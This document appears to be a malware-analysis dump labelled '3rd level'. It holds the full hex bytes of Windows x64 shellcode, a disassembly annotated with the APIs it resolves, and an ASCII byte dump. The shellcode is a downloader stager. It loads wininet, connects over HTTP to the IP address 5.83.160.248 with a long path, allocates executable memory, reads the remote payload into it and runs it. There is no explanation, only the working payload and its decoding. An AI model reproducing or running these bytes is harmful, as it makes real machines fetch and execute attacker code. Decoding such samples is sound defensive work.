3rd level

Hex dump: fc 48 83 e4 f0 e8 cc 00 00 00 41 51 41 50 52 51 56 48 31 d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48 0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c 20 41 c1 c9 0d 41 01 c1 e2 ed 52 41 51 48 8b 52 20 8b 42 3c 48 01 d0 66 81 78 18 0b 02 0f 85 72 00 00 00 8b 80 88 00 00 00 48 85 c0 74 67 48 01 d0 50 8b 48 18 44 8b 40 20 49 01 d0 e3 56 48 ff c9 41 8b 34 88 48 01 d6 4d 31 c9 48 31 c0 ac 41 c1 c9 0d 41 01 c1 38 e0 75 f1 4c 03 4c 24 08 45 39 d1 75 d8 58 44 8b 40 24 49 01 d0 66 41 8b 0c 48 44 8b 40 1c 49 01 d0 41 8b 04 88 48 01 d0 41 58 41 58 5e 59 5a 41 58 41 59 41 5a 48 83 ec 20 41 52 ff e0 58 41 59 5a 48 8b 12 e9 4b ff ff ff 5d 48 31 db 53 49 be 77 69 6e 69 6e 65 74 00 41 56 48 89 e1 49 c7 c2 4c 77 26 07 ff d5 53 53 48 89 e1 53 5a 4d 31 c0 4d 31 c9 53 53 49 ba 3a 56 79 a7 00 00 00 00 ff d5 e8 0d 00 00 00 35 2e 38 33 2e 31 36 30 2e 32 34 38 00 5a 48 89 c1 49 c7 c0 58 00 00 00 4d 31 c9 53 53 6a 03 53 49 ba 57 89 9f c6 00 00 00 00 ff d5 e8 ec 00 00 00 2f 2f 49 65 30 6f 56 75 61 38 52 47 5f 4d 63 73 31 77 6c 6c 67 55 57 77 43 4a 61 5a 6f 76 6c 32 5a 63 73 65 39 48 49 4f 52 52 5f 4c 4b 71 75 4c 5a 49 4f 69 41 61 46 61 75 52 62 76 42 56 4d 69 63 71 57 62 50 75 35 32 45 43 74 66 38 5f 5a 34 6a 36 41 78 66 38 47 38 54 4d 6e 66 4f 4a 32 4d 5f 47 42 31 2d 67 48 2d 61 73 77 4f 64 63 4b 2d 6a 30 4f 61 79 71 4b 6a 42 52 75 54 6e 37 36 68 31 35 30 64 32 72 39 42 62 66 76 6f 34 46 62 62 47 53 6c 6d 68 32 71 5a 2d 78 6a 4e 54 54 75 67 71 35 37 45 38 70 31 6b 4e 43 69 33 70 49 41 75 43 47 57 6c 6f 33 4c 51 54 4c 52 56 43 38 65 39 42 41 79 6f 59 77 68 35 32 62 57 56 6d 53 77 41 4e 2d 30 6d 75 4d 5a 30 52 77 53 32 50 4d 4c 39 4f 78 73 53 35 35 67 70 38 66 6c 00 48 89 c1 53 5a 41 58 4d 31 c9 53 48 b8 00 02 20 84 00 00 00 00 50 53 53 49 c7 c2 eb 55 2e 3b ff d5 48 89 c6 6a 0a 5f 48 89 f1 53 5a 4d 31 c0 4d 31 c9 53 53 49 c7 c2 2d 06 18 7b ff d5 85 c0 75 1f 48 c7 c1 88 13 00 00 49 ba 44 f0 35 e0 00 00 00 00 ff d5 48 ff cf 74 02 eb cc e8 56 00 00 00 53 59 6a 40 5a 49 89 d1 c1 e2 10 49 c7 c0 00 10 00 00 49 ba 58 a4 53 e5 00 00 00 00 ff d5 48 93 53 53 48 89 e7 48 89 f1 48 89 da 49 c7 c0 00 20 00 00 49 89 f9 49 ba 12 96 89 e2 00 00 00 00 ff d5 48 83 c4 20 85 c0 74 b2 66 8b 07 48 01 c3 85 c0 75 d2 58 58 c3 58 6a 00 59 49 c7 c2 f0 b5 a2 56 ff d5
0x00000000 fc               cld
0x00000001 48               dec eax
0x00000002 83e4f0           and esp,0xfffffff0
0x00000005 e8cc000000       call 0x000000d6
0x0000000a 41               inc ecx
0x0000000b 51               push ecx
0x0000000c 41               inc ecx
0x0000000d 50               push eax
0x0000000e 52               push edx
0x0000000f 51               push ecx
0x00000010 56               push esi
0x00000011 48               dec eax
0x00000012 31d2             xor edx,edx
0x00000014 6548             gs: dec eax
0x00000016 8b5260           mov edx,dword [edx + 96]
0x00000019 48               dec eax
0x0000001a 8b5218           mov edx,dword [edx + 24]
0x0000001d 48               dec eax
0x0000001e 8b5220           mov edx,dword [edx + 32]
0x00000021 48               dec eax
0x00000022 8b7250           mov esi,dword [edx + 80]
0x00000025 48               dec eax
0x00000026 0fb74a4a         movzx ecx,word [edx + 74]
0x0000002a 4d               dec ebp
0x0000002b 31c9             xor ecx,ecx
0x0000002d 48               dec eax
0x0000002e 31c0             xor eax,eax
0x00000030 ac               lodsb
0x00000031 3c61             cmp al,97
0x00000033 7c02             jl 0x00000037
0x00000035 2c20             sub al,32
0x00000037 41               inc ecx
0x00000038 c1c90d           ror ecx,13
0x0000003b 41               inc ecx
0x0000003c 01c1             add ecx,eax
0x0000003e e2ed             loop 0x0000002d
0x00000040 52               push edx
0x00000041 41               inc ecx
0x00000042 51               push ecx
0x00000043 48               dec eax
0x00000044 8b5220           mov edx,dword [edx + 32]
0x00000047 8b423c           mov eax,dword [edx + 60]
0x0000004a 48               dec eax
0x0000004b 01d0             add eax,edx
0x0000004d 668178180b02     cmp word [eax + 24],523
0x00000053 0f8572000000     jnz 0x000000cb
0x00000059 8b8088000000     mov eax,dword [eax + 136]
0x0000005f 48               dec eax
0x00000060 85c0             test eax,eax
0x00000062 7467             jz 0x000000cb
0x00000064 48               dec eax
0x00000065 01d0             add eax,edx
0x00000067 50               push eax
0x00000068 8b4818           mov ecx,dword [eax + 24]
0x0000006b 44               inc esp
0x0000006c 8b4020           mov eax,dword [eax + 32]
0x0000006f 49               dec ecx
0x00000070 01d0             add eax,edx
0x00000072 e356             jecxz 0x000000ca
0x00000074 48               dec eax
0x00000075 ffc9             dec ecx
0x00000077 41               inc ecx
0x00000078 8b3488           mov esi,dword [eax + ecx * 4]
0x0000007b 48               dec eax
0x0000007c 01d6             add esi,edx
0x0000007e 4d               dec ebp
0x0000007f 31c9             xor ecx,ecx
0x00000081 48               dec eax
0x00000082 31c0             xor eax,eax
0x00000084 ac               lodsb
0x00000085 41               inc ecx
0x00000086 c1c90d           ror ecx,13
0x00000089 41               inc ecx
0x0000008a 01c1             add ecx,eax
0x0000008c 38e0             cmp al,ah
0x0000008e 75f1             jnz 0x00000081
0x00000090 4c               dec esp
0x00000091 034c2408         add ecx,dword [esp + 8]
0x00000095 45               inc ebp
0x00000096 39d1             cmp ecx,edx
0x00000098 75d8             jnz 0x00000072
0x0000009a 58               pop eax
0x0000009b 44               inc esp
0x0000009c 8b4024           mov eax,dword [eax + 36]
0x0000009f 49               dec ecx
0x000000a0 01d0             add eax,edx
0x000000a2 6641             inc ecx
0x000000a4 8b0c48           mov ecx,dword [eax + ecx * 2]
0x000000a7 44               inc esp
0x000000a8 8b401c           mov eax,dword [eax + 28]
0x000000ab 49               dec ecx
0x000000ac 01d0             add eax,edx
0x000000ae 41               inc ecx
0x000000af 8b0488           mov eax,dword [eax + ecx * 4]
0x000000b2 48               dec eax
0x000000b3 01d0             add eax,edx
0x000000b5 41               inc ecx
0x000000b6 58               pop eax
0x000000b7 41               inc ecx
0x000000b8 58               pop eax
0x000000b9 5e               pop esi
0x000000ba 59               pop ecx
0x000000bb 5a               pop edx
0x000000bc 41               inc ecx
0x000000bd 58               pop eax
0x000000be 41               inc ecx
0x000000bf 59               pop ecx
0x000000c0 41               inc ecx
0x000000c1 5a               pop edx
0x000000c2 48               dec eax
0x000000c3 83ec20           sub esp,32
0x000000c6 41               inc ecx
0x000000c7 52               push edx
0x000000c8 ffe0             jmp eax
0x000000ca 58               pop eax
0x000000cb 41               inc ecx
0x000000cc 59               pop ecx
0x000000cd 5a               pop edx
0x000000ce 48               dec eax
0x000000cf 8b12             mov edx,dword [edx]
0x000000d1 e94bffffff       jmp 0x00000021
0x000000d6 5d               pop ebp
0x000000d7 48               dec eax
0x000000d8 31db             xor ebx,ebx
0x000000da 53               push ebx
0x000000db 49               dec ecx
0x000000dc be77696e69       mov esi,0x696e6977--> 'iniw'
0x000000e1 6e               outsb edx,byte [esi]
0x000000e2 657400           gs: jz 0x000000e5
0x000000e5 41               inc ecx
0x000000e6 56               push esi
0x000000e7 48               dec eax
0x000000e8 89e1             mov ecx,esp
0x000000ea 49               dec ecx
0x000000eb c7c24c772607     mov edx,0x0726774c--> '&wL'
0x000000f1 ffd5             call ebp --> kernel32.dll!LoadLibraryA
0x000000f3 53               push ebx
0x000000f4 53               push ebx
0x000000f5 48               dec eax
0x000000f6 89e1             mov ecx,esp
0x000000f8 53               push ebx
0x000000f9 5a               pop edx
0x000000fa 4d               dec ebp
0x000000fb 31c0             xor eax,eax
0x000000fd 4d               dec ebp
0x000000fe 31c9             xor ecx,ecx
0x00000100 53               push ebx
0x00000101 53               push ebx
0x00000102 49               dec ecx
0x00000103 ba3a5679a7       mov edx,0xa779563a--> 'yV:'
0x00000108 0000             add byte [eax],al
0x0000010a 0000             add byte [eax],al
0x0000010c ffd5             call ebp --> wininet.dll!InternetOpenA
0x0000010e e80d000000       call 0x00000120
0x00000113 352e38332e       xor eax,0x2e33382e
0x00000118 3136             xor dword [esi],esi
0x0000011a 302e             xor byte [esi],ch
0x0000011c 323438           xor dh,byte [eax + edi]
0x0000011f 005a48           add byte [edx + 72],bl
0x00000122 89c1             mov ecx,eax
0x00000124 49               dec ecx
0x00000125 c7c058000000     mov eax,88
0x0000012b 4d               dec ebp
0x0000012c 31c9             xor ecx,ecx
0x0000012e 53               push ebx
0x0000012f 53               push ebx
0x00000130 6a03             push 3
0x00000132 53               push ebx
0x00000133 49               dec ecx
0x00000134 ba57899fc6       mov edx,0xc69f8957
0x00000139 0000             add byte [eax],al
0x0000013b 0000             add byte [eax],al
0x0000013d ffd5             call ebp --> wininet.dll!InternetConnectA
0x0000013f e8ec000000       call 0x00000230
0x00000144 2f               das
0x00000145 2f               das
0x00000146 49               dec ecx
0x00000147 65306f56         gs: xor byte [edi + 86],ch
0x0000014b 7561             jnz 0x000001ae
0x0000014d 385247           cmp byte [edx + 71],dl
0x00000150 5f               pop edi
0x00000151 4d               dec ebp
0x00000152 637331           arpl word [ebx + 49],si
0x00000155 776c             ja 0x000001c3
0x00000157 6c               insb byte [esi],edx
0x00000158 6755             push ebp
0x0000015a 57               push edi
0x0000015b 7743             ja 0x000001a0
0x0000015d 4a               dec edx
0x0000015e 61               popad
0x0000015f 5a               pop edx
0x00000160 6f               outsd edx,dword [esi]
0x00000161 766c             jbe 0x000001cf
0x00000163 325a63           xor bl,byte [edx + 99]
0x00000166 7365             jnc 0x000001cd
0x00000168 394849           cmp dword [eax + 73],ecx
0x0000016b 4f               dec edi
0x0000016c 52               push edx
0x0000016d 52               push edx
0x0000016e 5f               pop edi
0x0000016f 4c               dec esp
0x00000170 4b               dec ebx
0x00000171 7175             jno 0x000001e8
0x00000173 4c               dec esp
0x00000174 5a               pop edx
0x00000175 49               dec ecx
0x00000176 4f               dec edi
0x00000177 69416146617552   imul eax,dword [ecx + 97],0x52756146
0x0000017e 627642           bound esi,dword [esi + 66]
0x00000181 56               push esi
0x00000182 4d               dec ebp
0x00000183 69637157625075   imul esp,dword [ebx + 113],0x75506257
0x0000018a 3532454374       xor eax,0x74434532
0x0000018f 66385f5a         cmp byte [edi + 90],bl
0x00000193 346a             xor al,106
0x00000195 3641             ss: inc ecx
0x00000197 7866             js 0x000001ff
0x00000199 384738           cmp byte [edi + 56],al
0x0000019c 54               push esp
0x0000019d 4d               dec ebp
0x0000019e 6e               outsb edx,byte [esi]
0x0000019f 664f             dec edi
0x000001a1 4a               dec edx
0x000001a2 324d5f           xor cl,byte [ebp + 95]
0x000001a5 47               inc edi
0x000001a6 42               inc edx
0x000001a7 312d67482d61     xor dword [0x612d4867],ebp
0x000001ad 7377             jnc 0x00000226
0x000001af 4f               dec edi
0x000001b0 64634b2d         fs: arpl word [ebx + 45],cx
0x000001b4 6a30             push 48
0x000001b6 4f               dec edi
0x000001b7 61               popad
0x000001b8 7971             jns 0x0000022b
0x000001ba 4b               dec ebx
0x000001bb 6a42             push 66
0x000001bd 52               push edx
0x000001be 7554             jnz 0x00000214
0x000001c0 6e               outsb edx,byte [esi]
0x000001c1 37               aaa
0x000001c2 366831353064     ss: push 0x64303531--> 'd051'
0x000001c8 327239           xor dh,byte [edx + 57]
0x000001cb 42               inc edx
0x000001cc 626676           bound esp,dword [esi + 118]
0x000001cf 6f               outsd edx,dword [esi]
0x000001d0 3446             xor al,70
0x000001d2 626247           bound esp,dword [edx + 71]
0x000001d5 53               push ebx
0x000001d6 6c               insb byte [esi],edx
0x000001d7 6d               insd dword [esi],edx
0x000001d8 6832715a2d       push 0x2d5a7132--> '-Zq2'
0x000001dd 786a             js 0x00000249
0x000001df 4e               dec esi
0x000001e0 54               push esp
0x000001e1 54               push esp
0x000001e2 7567             jnz 0x0000024b
0x000001e4 7135             jno 0x0000021b
0x000001e6 37               aaa
0x000001e7 45               inc ebp
0x000001e8 387031           cmp byte [eax + 49],dh
0x000001eb 6b4e4369         imul ecx,dword [esi + 67],105
0x000001ef 337049           xor esi,dword [eax + 73]
0x000001f2 41               inc ecx
0x000001f3 7543             jnz 0x00000238
0x000001f5 47               inc edi
0x000001f6 57               push edi
0x000001f7 6c               insb byte [esi],edx
0x000001f8 6f               outsd edx,dword [esi]
0x000001f9 334c5154         xor ecx,dword [ecx + edx * 2 + 84]
0x000001fd 4c               dec esp
0x000001fe 52               push edx
0x000001ff 56               push esi
0x00000200 43               inc ebx
0x00000201 386539           cmp byte [ebp + 57],ah
0x00000204 42               inc edx
0x00000205 41               inc ecx
0x00000206 796f             jns 0x00000277
0x00000208 59               pop ecx
0x00000209 7768             ja 0x00000273
0x0000020b 3532625756       xor eax,0x56576232
0x00000210 6d               insd dword [esi],edx
0x00000211 53               push ebx
0x00000212 7741             ja 0x00000255
0x00000214 4e               dec esi
0x00000215 2d306d754d       sub eax,0x4d756d30
0x0000021a 5a               pop edx
0x0000021b 305277           xor byte [edx + 119],dl
0x0000021e 53               push ebx
0x0000021f 32504d           xor dl,byte [eax + 77]
0x00000222 4c               dec esp
0x00000223 394f78           cmp dword [edi + 120],ecx
0x00000226 7353             jnc 0x0000027b
0x00000228 3535677038       xor eax,0x38706735
0x0000022d 666c             insb byte [esi],edx
0x0000022f 004889           add byte [eax - 119],cl
0x00000232 c1535a41         rcl dword [ebx + 90],65
0x00000236 58               pop eax
0x00000237 4d               dec ebp
0x00000238 31c9             xor ecx,ecx
0x0000023a 53               push ebx
0x0000023b 48               dec eax
0x0000023c b800022084       mov eax,0x84200200
0x00000241 0000             add byte [eax],al
0x00000243 0000             add byte [eax],al
0x00000245 50               push eax
0x00000246 53               push ebx
0x00000247 53               push ebx
0x00000248 49               dec ecx
0x00000249 c7c2eb552e3b     mov edx,0x3b2e55eb--> ';.U'
0x0000024f ffd5             call ebp --> wininet.dll!HttpOpenRequestA
0x00000251 48               dec eax
0x00000252 89c6             mov esi,eax
0x00000254 6a0a             push 10
0x00000256 5f               pop edi
0x00000257 48               dec eax
0x00000258 89f1             mov ecx,esi
0x0000025a 53               push ebx
0x0000025b 5a               pop edx
0x0000025c 4d               dec ebp
0x0000025d 31c0             xor eax,eax
0x0000025f 4d               dec ebp
0x00000260 31c9             xor ecx,ecx
0x00000262 53               push ebx
0x00000263 53               push ebx
0x00000264 49               dec ecx
0x00000265 c7c22d06187b     mov edx,0x7b18062d--> '{-'
0x0000026b ffd5             call ebp --> wininet.dll!HttpSendRequestA
0x0000026d 85c0             test eax,eax
0x0000026f 751f             jnz 0x00000290
0x00000271 48               dec eax
0x00000272 c7c188130000     mov ecx,0x00001388
0x00000278 49               dec ecx
0x00000279 ba44f035e0       mov edx,0xe035f044--> '5D'
0x0000027e 0000             add byte [eax],al
0x00000280 0000             add byte [eax],al
0x00000282 ffd5             call ebp --> kernel32.dll!Sleep
0x00000284 48               dec eax
0x00000285 ffcf             dec edi
0x00000287 7402             jz 0x0000028b
0x00000289 ebcc             jmp 0x00000257
0x0000028b e856000000       call 0x000002e6
0x00000290 53               push ebx
0x00000291 59               pop ecx
0x00000292 6a40             push 64
0x00000294 5a               pop edx
0x00000295 49               dec ecx
0x00000296 89d1             mov ecx,edx
0x00000298 c1e210           shl edx,16
0x0000029b 49               dec ecx
0x0000029c c7c000100000     mov eax,4096
0x000002a2 49               dec ecx
0x000002a3 ba58a453e5       mov edx,0xe553a458--> 'SX'
0x000002a8 0000             add byte [eax],al
0x000002aa 0000             add byte [eax],al
0x000002ac ffd5             call ebp --> kernel32.dll!VirtualAlloc
0x000002ae 48               dec eax
0x000002af 93               xchg eax,ebx
0x000002b0 53               push ebx
0x000002b1 53               push ebx
0x000002b2 48               dec eax
0x000002b3 89e7             mov edi,esp
0x000002b5 48               dec eax
0x000002b6 89f1             mov ecx,esi
0x000002b8 48               dec eax
0x000002b9 89da             mov edx,ebx
0x000002bb 49               dec ecx
0x000002bc c7c000200000     mov eax,0x00002000
0x000002c2 49               dec ecx
0x000002c3 89f9             mov ecx,edi
0x000002c5 49               dec ecx
0x000002c6 ba129689e2       mov edx,0xe2899612
0x000002cb 0000             add byte [eax],al
0x000002cd 0000             add byte [eax],al
0x000002cf ffd5             call ebp --> wininet.dll!InternetReadFile
0x000002d1 48               dec eax
0x000002d2 83c420           add esp,32
0x000002d5 85c0             test eax,eax
0x000002d7 74b2             jz 0x0000028b
0x000002d9 668b07           mov ax,word [edi]
0x000002dc 48               dec eax
0x000002dd 01c3             add ebx,eax
0x000002df 85c0             test eax,eax
0x000002e1 75d2             jnz 0x000002b5
0x000002e3 58               pop eax
0x000002e4 58               pop eax
0x000002e5 c3               ret
0x000002e6 58               pop eax
0x000002e7 6a00             push 0
0x000002e9 59               pop ecx
0x000002ea 49               dec ecx
0x000002eb c7c2f0b5a256     mov edx,0x56a2b5f0
0x000002f1 ffd5             call ebp --> kernel32.dll!ExitProcess

Byte Dump:
.H........AQAPRQVH1.eH.R`H.R.H.RH.rPH..JJM1.H1..<a|.,A..A....RAQH.R.B<H..f.x....r.........H..tgH..P.H.D.@I...VH..A.4.H..M1.H1..A..A..8.u.L.L$.E9.u.XD.@[email protected]^YZAXAYAZH..AR..XAYZH...K...]H1.SI.wininet.AVH..I..Lw&...SSH..SZM1.M1.SSI.:Vy...........5.83.160.248.ZH..I..X...M1.SSj.SI.W..............//Ie0oVua8RG_Mcs1wllgUWwCJaZovl2Zcse9HIORR_LKquLZIOiAaFauRbvBVMicqWbPu52ECtf8_Z4j6Axf8G8TMnfOJ2M_GB1-gH-aswOdcK-j0OayqKjBRuTn76h150d2r9Bbfvo4FbbGSlmh2qZ-xjNTTugq57E8p1kNCi3pIAuCGWlo3LQTLRVC8e9BAyoYwh52bWVmSwAN-0muMZ0RwS2PML9OxsS55gp8fl.H..SZAXM1.SH........PSSI...U.;..H..j_H..SZM1.M1.SSI..-..{....u.H......I.D.5.......H..t....V...SYj@ZI.....I......I.X.S.......H.SSH..H..H..I.....I..I...........H....t.f..H....u.XX.Xj.YI.....V..